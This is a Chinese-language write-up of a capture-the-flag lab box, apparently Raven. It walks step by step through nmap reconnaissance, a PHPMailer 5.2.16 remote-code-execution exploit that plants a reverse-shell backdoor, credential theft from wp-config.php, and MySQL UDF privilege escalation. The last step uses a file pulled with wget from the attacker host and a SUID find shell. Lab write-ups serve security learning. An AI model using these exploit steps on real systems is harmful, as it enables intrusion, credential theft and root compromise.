PHPMailer插件,mysql UDF 提权
一.信息收集
先收集一下ip和端口信息
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:bc:5c:d2, IPv4: 192.168.32.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.32.1 00:50:56:c0:00:08 VMware, Inc.
192.168.32.2 00:50:56:f1:d7:4e VMware, Inc.
192.168.32.146 00:0c:29:e8:98:1a VMware, Inc.
192.168.32.254 00:50:56:ff:3d:8c VMware, Inc.└─# nmap -sS -p- -sV 192.168.32.146
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-14 17:50 CST
Nmap scan report for 192.168.32.146 (192.168.32.146)
Host is up (0.00081s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
44335/tcp open status 1 (RPC #100024)目录扫描

http://192.168.32.146/vendor/PATH
/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
在readme中显示使用了PHPMailer插件,在vision可以显示版本为5.2.16


二.漏洞利用
尝试查找这个版本的exp

使用searchsploit查询是否含有这个exp

cp /usr/share/exploitdb/exploits/php/webapps/40974.py ~/temp
复制然后我们对这个文件进行修改配置

41行:改下地址:http://192.168.32.146/contact.php 42行:后门名称:/vlians.php 44行:改下回弹的IP和端口 192.168.32.129 6666 47行:改下写入shell的目录:/var/www/html/vlians.php
安装相应模块pip install requests_toolbelt
运行程序 python 40974.py

接着访问http://192.168.137.130/contact.php,就会生成后门vlians.php,然后本地用nc开启监听nc -lvp 6666
再访问vlians.php,就成功反弹了一个shell

或者使用msf
msfconsole
search phpmailer
use 0
set RHOSTS 192.168.32.146
set TARGETURI /contact.php
run
运行后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是随机的
这里是/VyzeHOKD.php
三.提权
先获取个交互终端
python -c 'import pty;pty.spawn("/bin/bash")'
查找一下flag
find / -name flag*

cat flag2.txt flag2{6a8ed560f0b5358ecf844108048eb337}
访问http://192.168.32.146/wordpress/wp-content/uploads/2018/11/flag3.png

因为是wordpress部署的,wordpress的wp-config.php中会包含数据库的信息wp-config.php文件存放在wordpress根目录中
cat /var/www/html/wordpress/wp-config.php
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');ps aux | grep root ---查看mysql进程信息
root 520 0.0 0.3 4340 1628 ? S 13:16 0:00 /bin/sh /usr/bin/mysqld_safedpkg -l | grep mysql --查看历史安装包版本 5.5.6
mysql是root权限运行的,那么接下来就找mysql提权的方法.
mysql UDF 提权
UDF 提权、MOF 提权是非常经典的提权方法!
mysql -uroot -pR@v3nSecurity
select version(); ---查看版本
show databases;
use wordpress
show tables;
select * from wp_users;
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.首先看一下是否满足写入条件:
show global variables like 'secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。查看插件目录:
show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+查看能否远程登陆:
use mysql; select user,host from user;
+------------------+-----------+
| user | host |
+------------------+-----------+
| root | 127.0.0.1 |
| root | ::1 |
| debian-sys-maint | localhost |
| root | localhost |
| root | raven |
+------------------+-----------+发现这里root用户不允许远程登陆,因此不能利用MSF提权。
搜索:mysql 5.x UDF exploit 或者 searchsploit udf https://www.exploit-db.com/exploits/1518
kali:
searchsploit 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c ~/temp
gcc -g -c 1518.c ---GCC编译.o文件
gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
python -m http.server 8082靶机
cd /tmp
wget http://192.168.32.129:8082/vlians.so
mysql -uroot -pR@v3nSecurity
show databases;
use mysql
select database();
进入数据库创建数据表vlians:
create table vlians(line blob);
插入数据文件:
insert into vlians values(load_file('/tmp/vlians.so'));
vlians表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from vlians into dumpfile '/usr/lib/mysql/plugin/vlians.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'vlians.so';
查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
exit;
执行find命令
使用find执行 shell
touch vlians
find vlians -exec "/bin/sh" \;
或者:find vlians -exec "id" \;
cat /root/flag4.txt
___ ___ ___
| _ \__ ___ _____ _ _ |_ _|_ _|
| / _` \ V / -_) ' \ | | | |
|_|_\__,_|\_/\___|_||_|___|___|
flag4{df2bc5e951d91581467bb9a2a8ff4425}